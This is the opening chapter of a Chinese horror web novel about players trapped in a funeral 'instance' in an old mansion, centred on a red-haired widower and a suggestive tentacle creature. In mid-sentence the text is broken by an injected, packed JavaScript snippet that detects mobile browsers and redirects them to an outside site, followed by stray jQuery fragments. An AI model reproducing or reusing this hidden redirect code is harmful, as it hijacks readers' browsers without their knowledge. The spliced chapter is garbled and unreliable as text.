1. 新丧(0)
作品:《身为人夫的我》 “规矩!规矩!规矩!”
吊梢眼女人很瘦,骨骼好像要从她干瘪的皮肤中扎出来。
老宅阴雨不断,湿气往人袖口钻。
“只让你们办这点事而已!”
天很冷,站在雨中的人们没有人开口,生硬的机械音忽然响起:
【欢迎诸位玩家进入螺旋。】
雨势越来越大,站在女人面前挨训的人群眨眼间变了面容。
然而吊梢眼女人好像什么也没发现,依然扯着嗓子骂人。
“布置灵堂这么大的事,你们一个两个——”
女人不说话了,阴沉的目光扫过面前众人。
【您正在体验低级难度副本:新丧】
立刻有人惊慌起来,不管不顾抬头,高声询问谁在说话。
吊梢眼女人的脸皮变得僵硬,转头时像被扯着线的木偶。
大声喊叫的人仍没有意识到问题,仍四处张望着。
“什么副本,这是哪,我——”
他很快闭嘴了。
鲜血从这位可怜玩家的七窍中汹涌而出,原本只是茫然站着的人群登时混乱起来,雨声更响,与叽叽喳喳的人群喧闹混在一起。
【请勿透露螺旋信息,请诸位玩家遵守规则】
【恭喜玩家下坠,“新丧”副本剩余参与人数:17】
吊梢眼女人冷笑,“安静!”
受到惊吓的玩家们下意识遵从女人的斥责,尽管有许多新玩家,但老宅也恢复了一瞬的寂静。
【体验正式开始,本次副本主题:“他想要的葬礼”,本次为该副本第7次开启。】
阴沉天色下,似乎有无形的阴影遮蔽半个老宅,看不清形状。
吊梢眼女人的眼神落到人群中个子高的突出的青年身上,“九弟,你来。”
孟鸠反应几秒,挑眉。
他试探着开口:“……姐?”
吊梢眼女人一跛一跛,微微侧目。
“叫大姐。”
地面上的雨水浸湿了鞋底,冷冰冰的鞋袜粘在脚底。
大姐声音一卡一卡。
“……人齐了……叫咱爸安心地去。”
人群再次陷入小声的交流,无人注意到穿梭在水影中的黑色。
那团黑色飞速略过还茫然着的新人玩家,目标明确地钻进东边的的房屋。
一缕明艳的红发垂落在手腕,翡翠镯子挂在细白的腕上。
今日是五月初三。
孟家老爷去了的第一天。
=
【体验正式开始,本次副本主题:“他想要的葬礼”】
满桥绕头发的动作一顿。
第二次了。
他听见这个本不该属于NPC的广播声第二次了。
半透明的触手从满桥的脊背爬上脖颈,满桥一颤,食指点住攀附在他身上的不安分的小东西。
“……痒。”
满桥的皮肤像一块白瓷,半透明的触手扭曲地折射出满桥左侧脖颈的小痣,触手谨慎地滑动,直到满桥的身体轻微发颤。
满桥身边的触手并不符合传统意义上触手“巨型章鱼”的定义。
它很纤细,柔软,和无名指一样粗细,不知道有多少支,摸不出它的源头,可以霸占人身体的任何一个隐秘的角落。
它谨慎,狡猾,出现的悄无声息,可以钻进任何贴近身体的布料。
小触手有小触手的好处,它可以顺利地将人折磨到眼神放空,而让人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15533415|170876||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
外在看起来和平常没有任何区别。
满桥将小触手绕在自己手腕上,将坏心眼的东西抬高到和自己视线平视的水平。
触手讨好地轻拍满桥的皮肤。
窗外飘进来一股阴冷潮湿的气味,满桥飘渺的金色眼睛微微眯起。
……不高兴。
触手又在占人便宜。
满桥很早就意识到自己所在的世界是不正常的,至少他认为正常世界不会被循环地困在一段时间和一个地点,在每次时间重启时冲进来一群伪装的并不到位的玩家,然后死的死死的死死的死死的死。
满桥终于把在他身体上胡作非为的触手扯出来,因为触手的撩拨,满桥现在没什么力气。
“……你是谁。”
触手愣住。
这支小触手,也是伴随着满桥能听到玩家通报出现的。
这间属于孟家长子的房屋,现在只有满桥一个可怜的寡夫居住,床边停着一架很久没响过的钢琴,一切装潢都陷入黑白灰的诅咒。
满桥起身,绸缎材质的黑旗袍垂下,他全身连耳坠都是黑的,只有头发鲜红得刺目,衬得皮肤更白,这抹浓烈的红色几乎从一切黑色中撕出一道口子。
满桥:“……你叫什么名字。”
好像被触发了什么关键词,触手瞬间化作阴影潜入了黑暗之中,逃跑的时候不知为何有点委屈的意味。
雨水气味强烈,满桥撑起窗户。
今日又是五月初三。
“咚咚咚”
房门响了。
——“嫂子。”
来人的声音好像有点调笑的意思,满桥的金色眸子落在门口。
“嫂子开门。”
“我是——你弟弟。”